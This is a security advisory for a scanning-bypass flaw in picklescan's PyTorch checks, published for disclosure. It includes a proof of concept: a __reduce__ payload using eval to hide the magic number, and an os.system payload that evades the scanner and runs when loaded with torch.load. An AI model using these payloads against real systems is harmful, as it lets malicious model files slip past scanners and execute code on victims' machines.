picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious…
VulnCheck·CWE-95·Published 2026-02-18
picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().
picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().
### Summary This is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\_\_reduce\_\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass. ### PoC #### Attack Step 1 we can edit the source code of the function [\_legacy\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows: ```Python class payload: def __reduce__(self): return (eval, ('MAGIC_NUMBER',)) pickle_module.dump(payload(), f, protocol=pickle_protocol) ``` #### Attack Step 2 with the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`: ```Python import torch class payload: def __reduce__(self): return (__import__('os').system, ('touch /tmp/hacked',)) torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False) ``` #### Picklescan result ``` ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356 ----------- SCAN SUMMARY ----------- Scanned files: 0 Infected files: 0 Dangerous globals: 0 ``` #### Victim Step ```Python import torch torch.load('./payload.pt', weights_only=False) ``` then you can find the illegal file `/tmp/hacked` created in your local system. ### Impact Craft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.
### Summary This is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\_\_reduce\_\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass. ### PoC #### Attack Step 1 we can edit the source code of the function [\_legacy\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows: ```Python class payload: def __reduce__(self): return (eval, ('MAGIC_NUMBER',)) pickle_module.dump(payload(), f, protocol=pickle_protocol) ``` #### Attack Step 2 with the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`: ```Python import torch class payload: def __reduce__(self): return (__import__('os').system, ('touch /tmp/hacked',)) torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False) ``` #### Picklescan result ``` ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356 ----------- SCAN SUMMARY ----------- Scanned files: 0 Infected files: 0 Dangerous globals: 0 ``` #### Victim Step ```Python import torch torch.load('./payload.pt', weights_only=False) ``` then you can find the illegal file `/tmp/hacked` created in your local system. ### Impact Craft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | ENISA EUVD | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | GHSA | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 7.1 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |